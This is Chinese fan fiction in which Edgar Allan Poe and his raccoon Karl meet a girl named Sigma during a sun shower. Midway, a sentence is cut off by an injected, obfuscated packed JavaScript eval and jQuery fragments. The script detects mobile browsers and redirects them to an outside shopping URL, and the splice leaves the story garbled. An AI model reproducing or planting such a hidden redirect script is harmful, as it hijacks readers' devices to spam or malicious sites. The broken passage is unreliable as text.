那日的天光有些犹豫，铅灰里透着一层薄薄的、未及成形的晴。


    爱伦·坡走在去往文具店的路上。


    口袋里的硬币在布料下碰出轻而冷的响，那是要换稿纸用的。


    稿纸将盛满他的墨水与阴影，盛满那些在黑夜里孵化的句子。


    而爱伦·坡此刻尚不知道，他即将先盛满另一种东西。


    她是在街角出现的，像一首俳句忽然闯入散文的段落。


    西格玛穿着樱花色的裙子，那颜色淡得近乎透明，仿佛清晨刚落下的花瓣，还带着露水未干的重量。


    她的长发半紫半白，不是染的，是天生如此。


    像黎明与薄暮在一个人身上和解。


    爱伦·坡停下脚步，肩上的卡尔竖起耳朵，发出一声轻柔的、探寻般的咕噜。


    他应该打招呼的。他确实准备了打招呼。那些音节已经排列在舌尖，像等待检阅的士兵。


    但雨来了。


    不是寻常的雨。


    是浅蓝色的，细密、轻盈，从天空斜斜地筛落，仿佛有人把一整个地中海的水彩洗笔水都倒进了云里。


    温柔的包裹着他们的肩头。


    雨丝落在他的旧外套上，落在卡尔竖起的耳尖上，也落在她樱花色的裙摆上，晕开一小片一小片深色的花。


    爱伦·坡张了张口，雨声却抢先一步，把他的话都淹回了喉咙里。


    然后他的手被握住了。


    她的手很小，暖得像刚从被炉里取出来的橘子。


    她拉着他往屋檐下走，动作自然得仿佛他们相识已久。


    卡尔在她靠近时兴奋地嗅着，鼻尖几乎要碰到她半紫半白的长发，尾巴在爱伦·坡肩上扫来扫去，像一面小小的、投降的白旗。


    檐下的空气里有雨和旧木头的味道。


    她松开手，他却没有把手收回来。


    手还悬在半空，保持着被握住时的弧度，像一只忘记归巢的鸟。


    爱伦·坡这才意识到，自己一直忘了呼吸。


    他终于把那句话说出来了。


    “下、下午好。”


    爱伦·坡听见自己的声音，干涩、破碎，像石子滚过砂纸。


    他简直糟糕透了，他想。


    像刚从高热中苏醒的病人，像刚经历海难的幸存者，像一封写了又被揉皱的信。


    她没有催促。


    她只是微微侧过头，脸上一圈涟漪般的笑意漾开。


    那笑容很轻，轻得像雨丝落在水面上，只留下一圈极浅极淡的纹路，却足以让整片池塘都为之动荡。


    她说了什么。他没有听清。


    他只知道她的声音很慢，很缓，像溪水流过鹅卵石，把每一块锋利的边缘都打磨成圆润的形状。


    爱伦·坡忽然想起，自己已经很久没有这样被允许慢下来了。


    他的句子总是追赶着他，他的骄傲总是追赶着他，他的担忧总是追赶着他。


    而此刻，在这个浅蓝色的雨日里，一个穿樱花色裙子的姑娘用流水一般的声音告诉他：你不用急。


    于是爱伦·坡的心终于松开了。


    他想，这就是发烧的感觉吧。


    他儿时得过一场漫长的热病，躺在床上，看窗外的梧桐叶由青转黄。


    那时候他觉得世界是一层隔水的膜，所有的声音都遥远而柔软，所有的触感都放大而缓慢。


    此刻他站在她的屋檐下，雨丝在脚边溅起细小的水花，他感到自己又重新回到了那层膜里。


    不是病，是另一种更温柔的失重。


    这就是爱情了。


    这个念头来得太轻、太快，爱伦·坡甚至来不及阻拦。


    它就这样落进他心里，像一滴雨落进池塘，然后涟漪一圈一圈，再也收不回来。


    爱情。


    这个词太重了，重得像一本精装的诗集，他从来只敢在扉页上写下它的名字，却从不敢真正翻开。


    爱伦·坡写过很多死亡、恐惧与幻灭，唯独在写到爱情时，会变得犹豫。


    他没有经验。他不知道一个人坠入爱河时，血液究竟是变热还是变冷，心跳究竟是加速还是停滞。


    现在他知道了。


    是发热。是晕眩。是所有感官同时失灵又同时敏锐。


    是窗外有雨而檐下无风，是你站在我面前而世界退后三步。


    “是太阳雨呢。”


    她抬起头，望着檐外依旧明亮的天空。


    阳光不知何时从云隙间漏了下来，和浅蓝色的雨丝交织在一起，像金线穿过蓝绸。


    爱伦·坡也抬起头。


    他想，这雨真美。


    他想，这雨能不能下得再久一些。


    檐外的雨声细密如蚕食桑叶，檐下的寂静却柔软得像翻书时停下的那一瞬。


    爱伦·坡忽然很想确认这一刻是不是真的。


    于是他偷偷看了她一眼。


    她正微微仰着脸，光落在她的侧脸上，把她的轮廓染成淡淡的金。


    她像是感知到了他的目光，又或者，只是在某个恰到好处的瞬间恰好想要转头——


    她望向他。


    他没有躲开。


    也许是因为雨还没有停，也许是因为她的目光太轻、太软，像落在他肩上的雨丝一样没有重量。


    爱伦·坡就这样任由自己被她望着，像一张终于铺平的稿纸，终于敢盛住第一滴墨。


    西格玛也并没有移开视线。


    她先开口了。


    “你也要去买东西吗？”


    很轻的一句。不是刻意的搭话，只是顺着雨声流出来，像问今天天气如何那样自然。


    “嗯。稿纸。”爱伦·坡说。


    这一次，他没有结巴。也许是雨声替他把那些破碎的音节都藏好了，也许是她的目光让他忘了紧张。


    “我的快用完了。”他补了一句。


    说完爱伦·坡才意识到，这似乎是不必要的解释。她并没有问他为什么要买稿纸。


    可她轻轻点了点头，像是真的想知道。


    “我用得很快。”爱伦·坡又说。


    这一次是真的多余了。他想。她大概并不需要知道他用稿纸的速度。


    可他就是想说。想让她知道一些关于他的、无关紧要的小事。


    仿佛这样，就能在她那里多存下一点点自己的痕迹。


    “写了很多故事吗？”她问。


    “嗯。”


    他顿了顿。


    “有的写完，有的没有。”


    她没有追问那些没有写完的故事是什么。她只是微微侧着头，像在等他自己决定要不要继续说下去。


    爱伦·坡没有继续说。


    但他知道，如果她再问一次，他或许会说的。


    檐外的雨渐渐小了。


    浅蓝色的丝线变得稀疏，阳光从云隙间大片大片地漏下来，把湿漉漉的街道照得发亮。


    空气里有雨后特有的、干净的凉意。


    她低下头，把一直握在手里的伞换到另一只手中。


    爱伦·坡这才注意到她带了一把伞——透明的，收拢着。


    刚才握在他手心的那只手，就是握着伞柄的手。


    她一直没有撑开。


    爱伦·坡不知道自己为什么注意到了这个细节。


    也许是因为那只手还残留在掌心的温度，让他忍不住一遍一遍地回放她握过来的那一瞬。


    她的手离开伞柄，握住他，然后松开，回到伞柄。


    那把伞始终收着。


    雨要停了。


    他看着她的裙摆，樱花色已经被雨水洇深了一些，像花瓣落在湿润的石板路上。


    他忽然想，如果她就这样走进阳光里，裙子会慢慢变干，颜色会重新变浅，像什么都没有发生过一样。


    爱伦·坡不想什么都没有发生过。


    他想，如果时间能像这雨丝一样，有无数细密的段落，可以一截一截地拉长，那他愿意把余生都


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358755|197107||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    耗在这道屋檐下。


    然而雨终有停的时候。


    浅蓝色的丝线一根根断了，天空重新变回平平无奇的灰。


    阳光完整地落下来，把她樱花色的裙子照得更淡了些，淡得像快要消失的梦。


    西格玛松开了一直握着伞柄的手。雨珠还挂在伞面上，在阳光下亮晶晶的。


    “我要去买书了。”她说。


    “嗯。”爱伦·坡应了一声，声音很轻，怕惊走什么。


    西格玛没有立刻转身。她站在那里，轻轻提起伞又放下。


    “你呢？”她问。


    爱伦·坡顿了一下。


    他原本是打算去买稿纸的。但现在，他忽然想买一把伞。


    像她手里的那一把，透明的，收拢时可以看到伞柄上系着什么。


    爱伦·坡还没有想好要系什么，也许是卡尔掉落的绒毛，也许是一片压干的紫藤。


    “……买伞。”他说。


    她笑了笑。


    那笑容很轻，轻得几乎听不见声音，只是嘴角微微弯起，眼底漾开一圈浅浅的、涟漪般的弧度。


    西格玛什么也没有说，没有问他为什么明明有稿纸要买，却先想起买伞。


    她只是笑着。


    然后他望着她，忽然有了另一种开口的勇气。


    不是之前那种破碎的、挣扎的，像是溺水者抓住浮木的、求生的勇气。


    而这是另一种。


    像雨后的新叶，柔软，却充满伸展的欲望。


    “你的裙子，”他说，“像樱花花瓣一样。”


    爱伦·坡说得很慢，每个字都仔细地放好，像把花朵轻轻压进书页。


    很美。他真正想说的是，你美得像一句无法修改的诗。


    他没有说出来。他把这句话藏在“裙子”后面，藏在他那双总是盛满阴影的眼睛里。


    她读到了。


    她笑着说：“谢谢。”


    然后她说：“再见。”


    这两个字她念得很轻，像在许一个愿。


    爱伦·坡也回了同样的两个字。


    “再见。”


    他把它们也放得很轻，轻到仿佛可以一直飘在空气里，飘到她下次再遇见他时，还能接住。


    他没有说“希望很快再见”或者“下次还可以遇见你”。


    他把那些话都藏在这两个字里，像把花瓣压进书页。


    他不知道她能不能读到。但他知道，他还会去那条街，还会在那个街角停下脚步。


    是的，他们还会再见。


    她转身往书店的方向走去。


    卡尔在他肩上发出一声慵懒的呜咽，像是惋惜，又像是告别。


    真奇怪啊，还没有分开，就已经开始思念了。


    浣熊的小爪子搭在他颈侧，尾巴轻轻扫过他的耳廓。


    爱伦·坡这才发现自己一直站在原地。


    他看着她的背影渐渐走远。


    樱花色的裙摆在转角处轻轻扬起，像花瓣被风托了一下，然后落进巷子深处。


    他知道她的名字，知道她在哪里工作，知道她喜欢在午休时去街角的那家书店。


    他甚至知道她每周二下午会经过这条街，因为他在这里遇见过她六次，每一次都假装是偶然。


    他从来没有上前打过招呼。


    今天是第七次。


    他没有再假装了。


    分开是为了下一次更好的见面。


    爱伦·坡转身，往与来时相反的方向走去。


    他要先去买一把伞，然后再去买稿纸。


    稿纸将盛满他今夜的墨水，盛满那些从这场太阳雨里漏进来的光。


    他握着那只曾被她握住的手。


    温度还残留在掌心，像一枚没有落款的印章。


    他不敢握得太紧，怕它消散；又不敢握得太松，怕它溜走。


    雨已经停了。


    天空是干干净净的蓝，像一张刚铺开的、等待书写的新稿纸。